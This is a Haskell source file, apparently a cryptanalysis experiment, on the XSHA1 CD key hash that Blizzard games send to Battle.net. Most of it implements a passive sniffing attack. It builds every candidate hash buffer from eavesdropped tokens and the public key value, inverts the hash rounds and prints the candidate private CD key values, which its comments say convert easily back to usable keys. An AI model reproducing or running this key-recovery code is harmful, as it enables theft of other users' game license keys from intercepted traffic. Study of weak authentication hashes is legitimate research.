-- | Exploring the CD key hash used to authenticate the game with Battle.net. -- -- module Data.Codec.Blizz.CDHash where import Data.Bits import Data.Word import qualified Data.Vector as V import Data.Vector (Vector, (//)) import Text.Printf import Numeric.Taint.Word32 import Data.Digest.XSHA1.Extend import Data.Digest.XSHA1.Compress import Data.Digest.XSHA1 -- | Data accessible to an attacker observing traffic. All plaintext. -- -- Only missing piece of CD key info is the private value, which gets hashed. data Sniff = Sniff { snClientTok :: Word32 -- ^ nonce , snServerTok :: Word32 -- ^ nonce , snProduct :: Word32 -- ^ decoded from key: 6 classic D2, 10 xpac D2 are common values , snPublic :: Word32 -- ^ decoded from key, server has mapping to the private value } deriving (Eq,Ord,Show) -- | Sample D2 CD key hash buffer. XSHA1 of this is sent to the server. hash :: Sniff -> N -- ^ private value -> Vector N hash s priv = V.fromList $ fmap N [snClientTok s, snServerTok s, snProduct s, snPublic s, 0] ++priv:(take 10 . repeat $ N 0) -- * Test values. (CD keys stripped, get your own.) sniff1, sniff2 :: Sniff result1,result2 :: (N,N,N,N,N) -- redacted sniff1 = Sniff 0x98c7130e 0xe96733c6 6 0x00010203 result1 = (N 0xdf75610a, N 0x831300a6, N 0x81c8617f, N 0x9fd22f92, N 0x543ddabc) -- redacted sniff2 = Sniff 0x98c7130e 0xe96733c6 10 0x00030201 result2 = (N 0xc6625bbd, N 0x6d91ec5c, N 0xb2736fe9, N 0xc89f19f5, N 0x9621a2c6) -- * Expand stage analysis. view :: Vector N -> IO () -- ^ Print infix equations for buffer. view xs = V.mapM_ (putStrLn . pprint) xs classify :: Vector N -> String -- ^ Classify DWORDs based on how much knowledge an eavesdropper has of them. -- -- X = known value -- -- ? = unknown (32 bit CD key private value) -- -- # = depends on 5 LSBs of private value classify = fmap f . V.toList where f (N n) = 'X' f U = '?' f (X LShift (N 1) _) = '#' group _ = error "Unexpected pattern." -- * Traffic sniffing attack. space :: Sniff -> [Vector N] -- | Possible hash buffer construction from data known to eavesdroper. -- -- Since most of the expanded buffer depends just on 5 secret bits, 32 -- different buffers will cover all the possibilities for all but one DWORD. -- That DWORD is the private key value, and is unknown. -- -- Only the relevant 5 bits on the private value are set. It should be re-set -- afterwards, to a better guess or and unknown. space s = map (extend . hash s . N) [0..31] setPriv :: N -> Vector N -> Vector N setPriv p = (// [(5,p)]) test = finalize $ foldl (iter buff) consts [0..79] where buff = setPriv U $ head (space sniff1) -- | Unknown value is the pivot point. -- -- Register states before and after it are marked alpha and beta. -- Beta has 32 possible values. Alpha just one. Solve for 32 private values. alpha xs = foldl (iter xs) consts [0..4] beta xs result = foldl (reti xs) (unfinalize result) (reverse [6..79]) getUnk result xs = let (X Add n U,_,_,_,_) = iter (setPriv U xs) (alpha xs) 5 (b,_,_,_,_) = beta xs result in b - n guessedUnknowns sniff res = map (getUnk res) (space sniff) unhash :: Sniff -> (N,N,N,N,N) -> IO () -- ^ Get private values from sniffed data. -- -- Some false positives, Binomial(n=31, p=1/32) -- -- Straightforward to encode back into human-readable CD key. unhash sniff res = mapM_ (printf "%x\n") . map (\(_,N x)->x) . filter (\(a,b)->a==(b.&.31)) . zip (map N [0..31]) $ guessedUnknowns sniff res -- * Debug stuff printReg (N a, N b, N c, N d, N e) = printf "%x %x %x %x %x\n" a b c d e -- | Foldl that keeps history. hfoldl f z0 xs = (z,reverse h) where (z,h) = hfoldl' f (z0,[z0]) xs hfoldl' f a [] = a hfoldl' f (a,h) (b:bs) = let a' = f a b in hfoldl' f (a',a':h) bs {- - - *CDHash> let x = extend $ hash sniff1 0xDEADBEEF - *CDHash> let (f,fwd) = hfoldl (iter x) consts [0..79] - *CDHash> let (_,rev) = hfoldl (reti x) f (reverse [0..79]) - -}